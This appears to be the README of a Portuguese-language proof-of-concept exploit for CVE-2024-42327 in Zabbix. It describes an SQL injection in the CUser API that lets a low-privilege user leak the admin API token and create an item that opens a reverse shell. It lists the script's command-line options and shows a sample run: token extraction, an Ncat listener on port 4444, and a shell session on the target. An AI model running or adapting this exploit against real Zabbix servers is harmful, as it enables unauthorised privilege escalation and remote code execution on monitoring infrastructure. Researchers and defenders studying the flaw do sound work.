
POC para CVE-2024-42327: Escalação de privilégios no Zabbix -> RCE
Esta Prova de Conceito (POC) pode ser usada para explorar a CVE-2024-42327, vazando o token de autenticação da API de administrador e criando um item para obter um reverse shell em um servidor Zabbix < 6.0.32rc1, 6.4.17rc1, 7.0.1rc1.
Uma conta de usuário não administrador no frontend do Zabbix, com o papel padrão de Usuário, ou com qualquer outro papel que conceda acesso à API, pode explorar esta vulnerabilidade. Existe uma SQLi na classe CUser, na função addRelatedObjects; essa função é chamada a partir da função CUser.get, que está disponível para todos os usuários com acesso à API.
Gravidade: 9.9 CRÍTICA Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
usage: zabbix_privesc.py [-h] -t URL -u USERNAME -p PASSWORD [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME]
[--row ROW] [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]
POC for CVE-2024-42327 (Zabbix admin API token leak)
options:
-h, --help show this help message and exit
-t, --url URL Zabbix Target URL
-u, --username USERNAME
Zabbix username
-p, --password PASSWORD
Zabbix password
--listen-ip LISTEN_IP
Listening IP / Interface
--listen-port LISTEN_PORT
Listening Port
--threads THREADS Threads
--sleep-time SLEEP_TIME
Sleep time
--row ROW Row index
--length LENGTH Max length
-a, --useragent USERAGENT
User agent to use when sending requests
-x, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] Authenticating ...
[+] Login successful! USER API auth token: d0a05dfe4ce768f62e22bda4057c7c19
[*] Starting data extraction ...
[*] Extracting admin API auth token: af186c156b27a0c3f688b43f58c911c9
[*] Getting host IDs ...
[*] host.get response: {'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] Starting listener and sending reverse shelll ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)